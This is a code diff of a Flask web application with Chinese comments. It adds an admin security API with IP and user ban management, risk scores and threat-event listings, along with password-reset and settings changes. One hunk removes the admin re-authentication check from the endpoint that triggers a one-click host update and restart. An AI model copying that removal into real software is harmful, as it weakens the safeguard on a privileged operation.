         failover_enabled = data.get("failover_enabled", True)
         register_verify_enabled = data.get("register_verify_enabled")
+        login_alert_enabled = data.get("login_alert_enabled")
         base_url = data.get("base_url")
         task_notify_enabled = data.get("task_notify_enabled")
 
@@ -1074,6 +1398,7 @@ def update_email_settings_api():
             enabled=enabled,
             failover_enabled=failover_enabled,
             register_verify_enabled=register_verify_enabled,
+            login_alert_enabled=login_alert_enabled,
             base_url=base_url,
             task_notify_enabled=task_notify_enabled,
         )

routes/admin_api/security.py

@@ -0,0 +1,348 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+from typing import Any
+
+from flask import Blueprint, jsonify, request
+
+import db_pool
+from db import security as security_db
+from routes.decorators import admin_required
+from security import BlacklistManager, RiskScorer
+
+security_bp = Blueprint("admin_security", __name__)
+blacklist = BlacklistManager()
+scorer = RiskScorer(blacklist_manager=blacklist)
+
+
+def _truncate(value: Any, max_len: int = 200) -> str:
+    text = str(value or "")
+    if max_len <= 0:
+        return ""
+    if len(text) <= max_len:
+        return text
+    return text[: max(0, max_len - 3)] + "..."
+
+
+def _parse_int_arg(name: str, default: int, *, min_value: int | None = None, max_value: int | None = None) -> int:
+    raw = request.args.get(name, None)
+    if raw is None or str(raw).strip() == "":
+        value = int(default)
+    else:
+        try:
+            value = int(str(raw).strip())
+        except Exception:
+            value = int(default)
+
+    if min_value is not None:
+        value = max(int(min_value), value)
+    if max_value is not None:
+        value = min(int(max_value), value)
+    return value
+
+
+def _parse_json() -> dict:
+    if request.is_json:
+        data = request.get_json(silent=True) or {}
+        return data if isinstance(data, dict) else {}
+    # 兼容 form-data
+    try:
+        return dict(request.form or {})
+    except Exception:
+        return {}
+
+
+def _parse_bool(value: Any) -> bool:
+    if isinstance(value, bool):
+        return value
+    if isinstance(value, int):
+        return value != 0
+    text = str(value or "").strip().lower()
+    return text in {"1", "true", "yes", "y", "on"}
+
+
+def _sanitize_threat_event(event: dict) -> dict:
+    return {
+        "id": event.get("id"),
+        "threat_type": event.get("threat_type") or "unknown",
+        "score": int(event.get("score") or 0),
+        "ip": _truncate(event.get("ip"), 64),
+        "user_id": event.get("user_id"),
+        "request_method": _truncate(event.get("request_method"), 16),
+        "request_path": _truncate(event.get("request_path"), 256),
+        "field_name": _truncate(event.get("field_name"), 80),
+        "rule": _truncate(event.get("rule"), 120),
+        "matched": _truncate(event.get("matched"), 120),
+        "value_preview": _truncate(event.get("value_preview"), 200),
+        "created_at": event.get("created_at"),
+    }
+
+
+def _sanitize_ban_entry(entry: dict, *, kind: str) -> dict:
+    if kind == "ip":
+        return {
+            "ip": _truncate(entry.get("ip"), 64),
+            "reason": _truncate(entry.get("reason"), 200),
+            "added_at": entry.get("added_at"),
+            "expires_at": entry.get("expires_at"),
+            "is_active": int(entry.get("is_active") or 0),
+        }
+    if kind == "user":
+        return {
+            "user_id": entry.get("user_id"),
+            "reason": _truncate(entry.get("reason"), 200),
+            "added_at": entry.get("added_at"),
+            "expires_at": entry.get("expires_at"),
+            "is_active": int(entry.get("is_active") or 0),
+        }
+    return {}
+
+
+@security_bp.route("/api/admin/security/dashboard", methods=["GET"])
+@admin_required
+def get_security_dashboard():
+    """
+    获取安全仪表板数据
+    返回:
+    - 最近24小时威胁事件数
+    - 当前封禁IP数
+    - 当前封禁用户数
+    - 最近10条威胁事件
+    """
+    try:
+        threat_24h = security_db.get_threat_events_count(hours=24)
+    except Exception:
+        threat_24h = 0
+
+    try:
+        banned_ips = blacklist.get_banned_ips()
+    except Exception:
+        banned_ips = []
+
+    try:
+        banned_users = blacklist.get_banned_users()
+    except Exception:
+        banned_users = []
+
+    try:
+        recent = security_db.get_threat_events_list(page=1, per_page=10, filters={}).get("items", [])
+        recent_items = [_sanitize_threat_event(e) for e in recent if isinstance(e, dict)]
+    except Exception:
+        recent_items = []
+
+    return jsonify(
+        {
+            "threat_events_24h": int(threat_24h or 0),
+            "banned_ip_count": len(banned_ips),
+            "banned_user_count": len(banned_users),
+            "recent_threat_events": recent_items,
+        }
+    )
+
+
+@security_bp.route("/api/admin/security/threats", methods=["GET"])
+@admin_required
+def get_threat_events():
+    """
+    获取威胁事件列表（分页）
+    参数: page, per_page, severity, event_type
+    """
+    page = _parse_int_arg("page", 1, min_value=1, max_value=100000)
+    per_page = _parse_int_arg("per_page", 20, min_value=1, max_value=200)
+    severity = (request.args.get("severity") or "").strip()
+    event_type = (request.args.get("event_type") or "").strip()
+
+    filters: dict[str, Any] = {}
+    if severity:
+        filters["severity"] = severity
+    if event_type:
+        filters["event_type"] = event_type
+
+    data = security_db.get_threat_events_list(page, per_page, filters)
+    items = data.get("items") or []
+    data["items"] = [_sanitize_threat_event(e) for e in items if isinstance(e, dict)]
+    return jsonify(data)
+
+
+@security_bp.route("/api/admin/security/banned-ips", methods=["GET"])
+@admin_required
+def get_banned_ips():
+    """获取封禁IP列表"""
+    items = blacklist.get_banned_ips()
+    return jsonify({"count": len(items), "items": [_sanitize_ban_entry(x, kind="ip") for x in items]})
+
+
+@security_bp.route("/api/admin/security/banned-users", methods=["GET"])
+@admin_required
+def get_banned_users():
+    """获取封禁用户列表"""
+    items = blacklist.get_banned_users()
+    return jsonify({"count": len(items), "items": [_sanitize_ban_entry(x, kind="user") for x in items]})
+
+
+@security_bp.route("/api/admin/security/ban-ip", methods=["POST"])
+@admin_required
+def ban_ip():
+    """
+    手动封禁IP
+    参数: ip, reason, duration_hours(可选), permanent(可选)
+    """
+    data = _parse_json()
+    ip = str(data.get("ip") or "").strip()
+    reason = str(data.get("reason") or "").strip()
+    duration_hours_raw = data.get("duration_hours", 24)
+    permanent = _parse_bool(data.get("permanent", False))
+
+    if not ip:
+        return jsonify({"error": "ip不能为空"}), 400
+    if not reason:
+        return jsonify({"error": "reason不能为空"}), 400
+
+    try:
+        duration_hours = max(1, int(duration_hours_raw))
+    except Exception:
+        duration_hours = 24
+
+    ok = blacklist.ban_ip(ip, reason, duration_hours=duration_hours, permanent=permanent)
+    if not ok:
+        return jsonify({"error": "封禁失败"}), 400
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/unban-ip", methods=["POST"])
+@admin_required
+def unban_ip():
+    """解除IP封禁"""
+    data = _parse_json()
+    ip = str(data.get("ip") or "").strip()
+    if not ip:
+        return jsonify({"error": "ip不能为空"}), 400
+
+    ok = blacklist.unban_ip(ip)
+    if not ok:
+        return jsonify({"error": "未找到封禁记录"}), 404
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/ban-user", methods=["POST"])
+@admin_required
+def ban_user():
+    """手动封禁用户"""
+    data = _parse_json()
+    user_id_raw = data.get("user_id")
+    reason = str(data.get("reason") or "").strip()
+    duration_hours_raw = data.get("duration_hours", 24)
+    permanent = _parse_bool(data.get("permanent", False))
+
+    try:
+        user_id = int(user_id_raw)
+    except Exception:
+        user_id = None
+
+    if user_id is None:
+        return jsonify({"error": "user_id不能为空"}), 400
+    if not reason:
+        return jsonify({"error": "reason不能为空"}), 400
+
+    try:
+        duration_hours = max(1, int(duration_hours_raw))
+    except Exception:
+        duration_hours = 24
+
+    ok = blacklist._ban_user_internal(user_id, reason=reason, duration_hours=duration_hours, permanent=permanent)
+    if not ok:
+        return jsonify({"error": "封禁失败"}), 400
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/unban-user", methods=["POST"])
+@admin_required
+def unban_user():
+    """解除用户封禁"""
+    data = _parse_json()
+    user_id_raw = data.get("user_id")
+    try:
+        user_id = int(user_id_raw)
+    except Exception:
+        user_id = None
+
+    if user_id is None:
+        return jsonify({"error": "user_id不能为空"}), 400
+
+    ok = blacklist.unban_user(user_id)
+    if not ok:
+        return jsonify({"error": "未找到封禁记录"}), 404
+    return jsonify({"success": True})
+
+
+@security_bp.route("/api/admin/security/ip-risk/<ip>", methods=["GET"])
+@admin_required
+def get_ip_risk(ip):
+    """获取指定IP的风险评分和历史事件"""
+    ip_text = str(ip or "").strip()
+    if not ip_text:
+        return jsonify({"error": "ip不能为空"}), 400
+
+    history = security_db.get_ip_threat_history(ip_text)
+    return jsonify(
+        {
+            "ip": _truncate(ip_text, 64),
+            "risk_score": int(scorer.get_ip_score(ip_text) or 0),
+            "is_banned": bool(blacklist.is_ip_banned(ip_text)),
+            "threat_history": [_sanitize_threat_event(e) for e in history if isinstance(e, dict)],
+        }
+    )
+
+
+@security_bp.route("/api/admin/security/ip-risk/clear", methods=["POST"])
+@admin_required
+def clear_ip_risk():
+    """清除指定IP的风险分"""
+    data = _parse_json()
+    ip_text = str(data.get("ip") or "").strip()
+    if not ip_text:
+        return jsonify({"error": "ip不能为空"}), 400
+
+    if not scorer.reset_ip_score(ip_text):
+        return jsonify({"error": "清理失败"}), 400
+
+    return jsonify({"success": True, "ip": _truncate(ip_text, 64), "risk_score": 0})
+
+
+@security_bp.route("/api/admin/security/user-risk/<int:user_id>", methods=["GET"])
+@admin_required
+def get_user_risk(user_id):
+    """获取指定用户的风险评分和历史事件"""
+    history = security_db.get_user_threat_history(user_id)
+    return jsonify(
+        {
+            "user_id": int(user_id),
+            "risk_score": int(scorer.get_user_score(user_id) or 0),
+            "is_banned": bool(blacklist.is_user_banned(user_id)),
+            "threat_history": [_sanitize_threat_event(e) for e in history if isinstance(e, dict)],
+        }
+    )
+
+
+@security_bp.route("/api/admin/security/cleanup", methods=["POST"])
+@admin_required
+def cleanup_expired():
+    """清理过期的封禁记录和衰减风险分"""
+    try:
+        blacklist.cleanup_expired()
+    except Exception:
+        pass
+    try:
+        scorer.decay_scores()
+    except Exception:
+        pass
+
+    # 可选：返回当前连接池统计信息，便于排查后台运行状态
+    pool_stats = None
+    try:
+        pool_stats = db_pool.get_pool_stats()
+    except Exception:
+        pool_stats = None
+
+    return jsonify({"success": True, "pool_stats": pool_stats})

routes/admin_api/update.py

@@ -3,7 +3,6 @@
 from __future__ import annotations
 
 import os
-import time
 import uuid
 
 from flask import jsonify, request, session
@@ -66,13 +65,6 @@ def _parse_bool_field(data: dict, key: str) -> bool | None:
     raise ValueError(f"{key} 必须是 0/1 或 true/false")
 
 
-def _admin_reauth_required() -> bool:
-    try:
-        return time.time() > float(session.get("admin_reauth_until", 0) or 0)
-    except Exception:
-        return True
-
-
 @admin_api_bp.route("/update/status", methods=["GET"])
 @admin_required
 def get_update_status_api():
@@ -154,8 +146,6 @@ def request_update_check_api():
 def request_update_run_api():
     """请求宿主机 Update-Agent 执行一键更新并重启服务。"""
     ensure_update_dirs()
-    if _admin_reauth_required():
-        return jsonify({"error": "需要二次确认", "code": "reauth_required"}), 401
     if _has_pending_request():
         return jsonify({"error": "已有更新请求正在处理中，请稍后再试"}), 409
 

routes/api_accounts.py

@@ -11,7 +11,6 @@ from crypto_utils import encrypt_password as encrypt_account_password
 from flask import Blueprint, jsonify, request
 from flask_login import current_user, login_required
 from services.accounts_service import load_user_accounts
-from services.browser_manager import init_browser_manager_async
 from services.browse_types import BROWSE_TYPE_SHOULD_READ, normalize_browse_type, validate_browse_type
 from services.client_log import log_to_client
 from services.models import Account
@@ -230,10 +229,6 @@ def start_account(account_id):
     if not browse_type:
         return jsonify({"error": "浏览类型无效"}), 400
     enable_screenshot = data.get("enable_screenshot", True)
-    if enable_screenshot:
-        # 异步初始化浏览器环境，避免首次下载/安装 Chromium 阻塞请求导致“网页无响应”
-        init_browser_manager_async()
-
     ok, message = submit_account_task(
         user_id=user_id,
         account_id=account_id,
@@ -308,9 +303,6 @@ def manual_screenshot(account_id):
 
     account.last_browse_type = browse_type
 
-    # 异步初始化浏览器环境，避免首次下载/安装 Chromium 阻塞请求
-    init_browser_manager_async()
-
     threading.Thread(
         target=take_screenshot_for_account,
         args=(user_id, account_id, browse_type, "manual_screenshot"),
@@ -336,10 +328,6 @@ def batch_start_accounts():
     if not account_ids:
         return jsonify({"error": "请选择要启动的账号"}), 400
 
-    if enable_screenshot:
-        # 异步初始化浏览器环境，避免首次下载/安装 Chromium 阻塞请求
-        init_browser_manager_async()
-
     started = []
     failed = []
 

routes/api_auth.py

@@ -237,12 +237,19 @@ def forgot_password():
     """发送密码重置邮件"""
     data = request.json or {}
     email = data.get("email", "").strip().lower()
+    username = data.get("username", "").strip()
     captcha_session = data.get("captcha_session", "")
     captcha_code = data.get("captcha", "").strip()
 
-    if not email:
-        return jsonify({"error": "请输入邮箱"}), 400
+    if not email and not username:
+        return jsonify({"error": "请输入邮箱或用户名"}), 400
 
+    if username:
+        is_valid, error_msg = validate_username(username)
+        if not is_valid:
+            return jsonify({"error": error_msg}), 400
+
+    if email:
         is_valid, error_msg = validate_email(email)
         if not is_valid:
             return jsonify({"error": error_msg}), 400
@@ -251,6 +258,7 @@ def forgot_password():
     allowed, error_msg = check_ip_request_rate(client_ip, "email")
     if not allowed:
         return jsonify({"error": error_msg}), 429
+    if email:
         allowed, error_msg = check_email_rate_limit(email, "forgot_password")
         if not allowed:
             return jsonify({"error": error_msg}), 429
@@ -266,6 +274,34 @@ def forgot_password():
     if not email_settings.get("enabled", False):
         return jsonify({"error": "邮件功能未启用，请联系管理员"}), 400
 
+    if username:
+        user = database.get_user_by_username(username)
+        if user and user.get("status") == "approved":
+            bound_email = (user.get("email") or "").strip()
+            if not bound_email:
+                return (
+                    jsonify(
+                        {
+                            "error": "您尚未绑定邮箱，无法通过邮箱找回密码。请联系管理员重置密码。",
+                            "code": "email_not_bound",
+                        }
+                    ),
+                    400,
+                )
+
+            allowed, error_msg = check_email_rate_limit(bound_email, "forgot_password")
+            if not allowed:
+                return jsonify({"error": error_msg}), 429
+
+            result = email_service.send_password_reset_email(
+                email=bound_email,
+                username=user["username"],
+                user_id=user["id"],
+            )
+            if not result["success"]:
+                logger.error(f"密码重置邮件发送失败: {result['error']}")
+        return jsonify({"success": True, "message": "如果该账号已绑定邮箱，您将收到密码重置邮件"})
+
     user = database.get_user_by_email(email)
     if user and user.get("status") == "approved":
         result = email_service.send_password_reset_email(email=email, username=user["username"], user_id=user["id"])
@@ -317,46 +353,6 @@ def reset_password_confirm():
     return jsonify({"error": "密码重置失败"}), 500
 
 
-@api_auth_bp.route("/api/reset_password_request", methods=["POST"])
-def request_password_reset():
-    """用户申请重置密码（需要审核）"""
-    data = request.json or {}
-    username = data.get("username", "").strip()
-    email = data.get("email", "").strip().lower()
-    new_password = data.get("new_password", "").strip()
-
-    if not username or not new_password:
-        return jsonify({"error": "用户名和新密码不能为空"}), 400
-
-    is_valid, error_msg = validate_password(new_password)
-    if not is_valid:
-        return jsonify({"error": error_msg}), 400
-
-    if email:
-        is_valid, error_msg = validate_email(email)
-        if not is_valid:
-            return jsonify({"error": error_msg}), 400
-
-    client_ip = get_rate_limit_ip()
-    allowed, error_msg = check_ip_request_rate(client_ip, "email")
-    if not allowed:
-        return jsonify({"error": error_msg}), 429
-    if email:
-        allowed, error_msg = check_email_rate_limit(email, "reset_request")
-        if not allowed:
-            return jsonify({"error": error_msg}), 429
-
-    user = database.get_user_by_username(username)
-
-    if user:
-        if email and user.get("email") != email:
-            pass
-        else:
-            database.create_password_reset_request(user["id"], new_password)
-
-    return jsonify({"message": "如果账号存在，密码重置申请已提交，请等待管理员审核"})
-
-
 @api_auth_bp.route("/api/generate_captcha", methods=["POST"])
 def generate_captcha():
     """生成4位数字验证码图片"""
@@ -484,7 +480,11 @@ def login():
 	        user_agent = request.headers.get("User-Agent", "")
 	        context = database.record_login_context(user["id"], client_ip, user_agent)
 	        if context and (context.get("new_ip") or context.get("new_device")):
-            if config.LOGIN_ALERT_ENABLED and should_send_login_alert(user["id"], client_ip):
+	            if (
+	                config.LOGIN_ALERT_ENABLED
+	                and should_send_login_alert(user["id"], client_ip)
+	                and email_service.get_email_settings().get("login_alert_enabled", True)
+	            ):
 	                user_info = database.get_user_by_id(user["id"]) or {}
 	                if user_info.get("email") and user_info.get("email_verified"):
 	                    if database.get_user_email_notify(user["id"]):

routes/api_user.py

@@ -35,6 +35,7 @@ def get_active_announcement():
                 "id": announcement.get("id"),
                 "title": announcement.get("title", ""),
                 "content": announcement.get("content", ""),
+                "image_url": announcement.get("image_url") or "",
                 "created_at": announcement.get("created_at"),
             }
         }
@@ -147,6 +148,50 @@ def get_user_email():
     return jsonify({"email": user.get("email", ""), "email_verified": user.get("email_verified", False)})
 
 
+@api_user_bp.route("/api/user/kdocs", methods=["GET"])
+@login_required
+def get_user_kdocs_settings():
+    """获取当前用户的金山文档设置"""
+    settings = database.get_user_kdocs_settings(current_user.id)
+    if not settings:
+        return jsonify({"kdocs_unit": "", "kdocs_auto_upload": 0})
+    return jsonify(settings)
+
+
+@api_user_bp.route("/api/user/kdocs", methods=["POST"])
+@login_required
+def update_user_kdocs_settings():
+    """更新当前用户的金山文档设置"""
+    data = request.get_json() or {}
+    kdocs_unit = data.get("kdocs_unit")
+    kdocs_auto_upload = data.get("kdocs_auto_upload")
+
+    if kdocs_unit is not None:
+        kdocs_unit = str(kdocs_unit or "").strip()
+        if len(kdocs_unit) > 50:
+            return jsonify({"error": "县区长度不能超过50"}), 400
+
+    if kdocs_auto_upload is not None:
+        if isinstance(kdocs_auto_upload, bool):
+            kdocs_auto_upload = 1 if kdocs_auto_upload else 0
+        try:
+            kdocs_auto_upload = int(kdocs_auto_upload)
+        except Exception:
+            return jsonify({"error": "自动上传开关必须是0或1"}), 400
+        if kdocs_auto_upload not in (0, 1):
+            return jsonify({"error": "自动上传开关必须是0或1"}), 400
+
+    if not database.update_user_kdocs_settings(
+        current_user.id,
+        kdocs_unit=kdocs_unit,
+        kdocs_auto_upload=kdocs_auto_upload,
+    ):
+        return jsonify({"error": "更新失败"}), 400
+
+    settings = database.get_user_kdocs_settings(current_user.id) or {"kdocs_unit": "", "kdocs_auto_upload": 0}
+    return jsonify({"success": True, "settings": settings})
+
+
 @api_user_bp.route("/api/user/bind-email", methods=["POST"])
 @login_required
 @require_ip_not_locked
@@ -303,3 +348,37 @@ def get_run_stats():
             "today_attachments": stats.get("total_attachments", 0),
         }
     )
+
+
+@api_user_bp.route("/api/kdocs/status", methods=["GET"])
+@login_required
+def get_kdocs_status_for_user():
+    """获取金山文档在线状态（用户端简化版）"""
+    try:
+        # 检查系统是否启用了金山文档功能
+        cfg = database.get_system_config() or {}
+        kdocs_enabled = int(cfg.get("kdocs_enabled") or 0)
+
+        if not kdocs_enabled:
+            return jsonify({"enabled": False, "online": False, "message": "未启用"})
+
+        # 获取金山文档状态
+        from services.kdocs_uploader import get_kdocs_uploader
+
+        kdocs = get_kdocs_uploader()
+        status = kdocs.get_status()
+
+        login_required_flag = status.get("login_required", False)
+        last_login_ok = status.get("last_login_ok")
+
+        # 判断是否在线
+        is_online = not login_required_flag and last_login_ok is True
+
+        return jsonify({
+            "enabled": True,
+            "online": is_online,
+            "message": "就绪" if is_online else "离线"
+        })
+    except Exception as e:
+        logger.error(f"获取金山文档状态失败: {e}")
+        return jsonify({"enabled": False, "online": False, "message": "获取失败"})

routes/decorators.py

@@ -14,11 +14,20 @@ def admin_required(f):
 
     @wraps(f)
     def decorated_function(*args, **kwargs):
+        try:
             logger = get_logger()
+        except Exception:
+            import logging
+
+            logger = logging.getLogger("app")
         logger.debug(f"[admin_required] 检查会话，admin_id存在: {'admin_id' in session}")
         if "admin_id" not in session:
             logger.warning(f"[admin_required] 拒绝访问 {request.path} - session中无admin_id")
-            is_api = request.blueprint == "admin_api" or request.path.startswith("/yuyx/api")
+            is_api = (
+                request.blueprint in {"admin_api", "admin_security", "admin_security_yuyx"}
+                or request.path.startswith("/yuyx/api")
+                or request.path.startswith("/api/admin")
+            )
             if is_api:
                 return jsonify({"error": "需要管理员权限"}), 403
             return redirect(url_for("pages.admin_login_page"))

routes/pages.py

@@ -6,7 +6,7 @@ import json
 import os
 from typing import Optional
 
-from flask import Blueprint, current_app, redirect, render_template, session, url_for
+from flask import Blueprint, current_app, redirect, render_template, request, session, url_for
 from flask_login import current_user, login_required
 
 from routes.decorators import admin_required
@@ -36,10 +36,18 @@ def render_app_spa_or_legacy(
             logger.warning(f"[app_spa] manifest缺少入口文件: {manifest_path}")
             return render_template(legacy_template_name, **legacy_context)
 
+        app_spa_js_file = f"app/{js_file}"
+        app_spa_css_files = [f"app/{p}" for p in css_files]
+        app_spa_build_id = _get_asset_build_id(
+            os.path.join(current_app.root_path, "static"),
+            [app_spa_js_file, *app_spa_css_files],
+        )
+
         return render_template(
             "app.html",
-            app_spa_js_file=f"app/{js_file}",
-            app_spa_css_files=[f"app/{p}" for p in css_files],
+            app_spa_js_file=app_spa_js_file,
+            app_spa_css_files=app_spa_css_files,
+            app_spa_build_id=app_spa_build_id,
             app_spa_initial_state=spa_initial_state,
         )
     except FileNotFoundError:
@@ -50,6 +58,27 @@ def render_app_spa_or_legacy(
         return render_template(legacy_template_name, **legacy_context)
 
 
+def _get_asset_build_id(static_root: str, rel_paths: list[str]) -> Optional[str]:
+    mtimes = []
+    for rel_path in rel_paths:
+        if not rel_path:
+            continue
+        try:
+            mtimes.append(os.path.getmtime(os.path.join(static_root, rel_path)))
+        except OSError:
+            continue
+    if not mtimes:
+        return None
+    return str(int(max(mtimes)))
+
+
+def _is_legacy_admin_user_agent(user_agent: str) -> bool:
+    if not user_agent:
+        return False
+    ua = user_agent.lower()
+    return "msie" in ua or "trident/" in ua
+
+
 @pages_bp.route("/")
 def index():
     """主页 - 重定向到登录或应用"""
@@ -96,6 +125,8 @@ def admin_login_page():
 @admin_required
 def admin_page():
     """后台管理页面"""
+    if request.args.get("legacy") == "1" or _is_legacy_admin_user_agent(request.headers.get("User-Agent", "")):
+        return render_template("admin_legacy.html")
     logger = get_logger()
     manifest_path = os.path.join(current_app.root_path, "static", "admin", ".vite", "manifest.json")
     try:
@@ -110,10 +141,18 @@ def admin_page():
             logger.warning(f"[admin_spa] manifest缺少入口文件: {manifest_path}")
             return render_template("admin_legacy.html")
 
+        admin_spa_js_file = f"admin/{js_file}"
+        admin_spa_css_files = [f"admin/{p}" for p in css_files]
+        admin_spa_build_id = _get_asset_build_id(
+            os.path.join(current_app.root_path, "static"),
+            [admin_spa_js_file, *admin_spa_css_files],
+        )
+
         return render_template(
             "admin.html",
-            admin_spa_js_file=f"admin/{js_file}",
-            admin_spa_css_files=[f"admin/{p}" for p in css_files],
+            admin_spa_js_file=admin_spa_js_file,
+            admin_spa_css_files=admin_spa_css_files,
+            admin_spa_build_id=admin_spa_build_id,
         )
     except FileNotFoundError:
         logger.warning(f"[admin_spa] 未找到manifest: {manifest_path}，回退旧版后台模板")

security/__init__.py

@@ -0,0 +1,22 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+from security.blacklist import BlacklistManager
+from security.honeypot import HoneypotResponder
+from security.middleware import init_security_middleware
+from security.response_handler import ResponseAction, ResponseHandler, ResponseStrategy
+from security.risk_scorer import RiskScorer
+from security.threat_detector import ThreatDetector, ThreatResult
+
+__all__ = [
+    "BlacklistManager",
+    "HoneypotResponder",
+    "init_security_middleware",
+    "ResponseAction",
+    "ResponseHandler",
+    "ResponseStrategy",
+    "RiskScorer",
+    "ThreatDetector",
+    "ThreatResult",
+]

security/blacklist.py

@@ -0,0 +1,255 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import threading
+from datetime import timedelta
+from typing import List, Optional
+
+import db_pool
+from db.utils import get_cst_now, get_cst_now_str
+
+
+class BlacklistManager:
+    """黑名单管理器"""
+
+    def __init__(self) -> None:
+        self._schema_ready = False
+        self._schema_lock = threading.Lock()
+
+    def is_ip_banned(self, ip: str) -> bool:
+        """检查IP是否被封禁"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+        now_str = get_cst_now_str()
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT 1
+                FROM ip_blacklist
+                WHERE ip = ?
+                  AND is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                LIMIT 1
+                """,
+                (ip_text, now_str),
+            )
+            return cursor.fetchone() is not None
+
+    def is_user_banned(self, user_id: int) -> bool:
+        """检查用户是否被封禁"""
+        if user_id is None:
+            return False
+        self._ensure_schema()
+        user_id_int = int(user_id)
+        now_str = get_cst_now_str()
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT 1
+                FROM user_blacklist
+                WHERE user_id = ?
+                  AND is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                LIMIT 1
+                """,
+                (user_id_int, now_str),
+            )
+            return cursor.fetchone() is not None
+
+    def ban_ip(self, ip: str, reason: str, duration_hours: int = 24, permanent: bool = False):
+        """封禁IP"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+        reason_text = str(reason or "").strip()[:512]
+        now_str = get_cst_now_str()
+
+        expires_at: Optional[str]
+        if permanent:
+            expires_at = None
+        else:
+            hours = max(1, int(duration_hours))
+            expires_at = (get_cst_now() + timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S")
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                INSERT INTO ip_blacklist (ip, reason, is_active, added_at, expires_at)
+                VALUES (?, ?, 1, ?, ?)
+                ON CONFLICT(ip) DO UPDATE SET
+                    reason = excluded.reason,
+                    is_active = 1,
+                    added_at = excluded.added_at,
+                    expires_at = excluded.expires_at
+                """,
+                (ip_text, reason_text, now_str, expires_at),
+            )
+            conn.commit()
+            return True
+
+    def ban_user(self, user_id: int, reason: str):
+        """封禁用户"""
+        return self._ban_user_internal(user_id, reason=reason, duration_hours=24, permanent=False)
+
+    def unban_ip(self, ip: str):
+        """解除IP封禁"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return False
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("UPDATE ip_blacklist SET is_active = 0 WHERE ip = ?", (ip_text,))
+            conn.commit()
+            return cursor.rowcount > 0
+
+    def unban_user(self, user_id: int):
+        """解除用户封禁"""
+        if user_id is None:
+            return False
+        self._ensure_schema()
+        user_id_int = int(user_id)
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("UPDATE user_blacklist SET is_active = 0 WHERE user_id = ?", (user_id_int,))
+            conn.commit()
+            return cursor.rowcount > 0
+
+    def get_banned_ips(self) -> List[dict]:
+        """获取所有被封禁的IP"""
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT ip, reason, is_active, added_at, expires_at
+                FROM ip_blacklist
+                WHERE is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                ORDER BY added_at DESC
+                """,
+                (now_str,),
+            )
+            return [dict(row) for row in cursor.fetchall()]
+
+    def get_banned_users(self) -> List[dict]:
+        """获取所有被封禁的用户"""
+        self._ensure_schema()
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                SELECT user_id, reason, is_active, added_at, expires_at
+                FROM user_blacklist
+                WHERE is_active = 1
+                  AND (expires_at IS NULL OR expires_at > ?)
+                ORDER BY added_at DESC
+                """,
+                (now_str,),
+            )
+            return [dict(row) for row in cursor.fetchall()]
+
+    def cleanup_expired(self):
+        """清理过期的封禁记录"""
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                UPDATE ip_blacklist
+                SET is_active = 0
+                WHERE is_active = 1
+                  AND expires_at IS NOT NULL
+                  AND expires_at <= ?
+                """,
+                (now_str,),
+            )
+            conn.commit()
+
+        self._ensure_schema()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                UPDATE user_blacklist
+                SET is_active = 0
+                WHERE is_active = 1
+                  AND expires_at IS NOT NULL
+                  AND expires_at <= ?
+                """,
+                (now_str,),
+            )
+            conn.commit()
+
+    # ==================== Internal ====================
+
+    def _ensure_schema(self) -> None:
+        if self._schema_ready:
+            return
+        with self._schema_lock:
+            if self._schema_ready:
+                return
+            with db_pool.get_db() as conn:
+                cursor = conn.cursor()
+                cursor.execute(
+                    """
+                    CREATE TABLE IF NOT EXISTS user_blacklist (
+                        user_id INTEGER PRIMARY KEY,
+                        reason TEXT,
+                        is_active INTEGER DEFAULT 1,
+                        added_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP,
+                        expires_at TIMESTAMP
+                    )
+                    """
+                )
+                cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_active ON user_blacklist(is_active)")
+                cursor.execute("CREATE INDEX IF NOT EXISTS idx_user_blacklist_expires ON user_blacklist(expires_at)")
+                conn.commit()
+            self._schema_ready = True
+
+    def _ban_user_internal(
+        self,
+        user_id: int,
+        *,
+        reason: str,
+        duration_hours: int = 24,
+        permanent: bool = False,
+    ) -> bool:
+        if user_id is None:
+            return False
+        self._ensure_schema()
+        user_id_int = int(user_id)
+        reason_text = str(reason or "").strip()[:512]
+        now_str = get_cst_now_str()
+
+        expires_at: Optional[str]
+        if permanent:
+            expires_at = None
+        else:
+            hours = max(1, int(duration_hours))
+            expires_at = (get_cst_now() + timedelta(hours=hours)).strftime("%Y-%m-%d %H:%M:%S")
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute(
+                """
+                INSERT INTO user_blacklist (user_id, reason, is_active, added_at, expires_at)
+                VALUES (?, ?, 1, ?, ?)
+                ON CONFLICT(user_id) DO UPDATE SET
+                    reason = excluded.reason,
+                    is_active = 1,
+                    added_at = excluded.added_at,
+                    expires_at = excluded.expires_at
+                """,
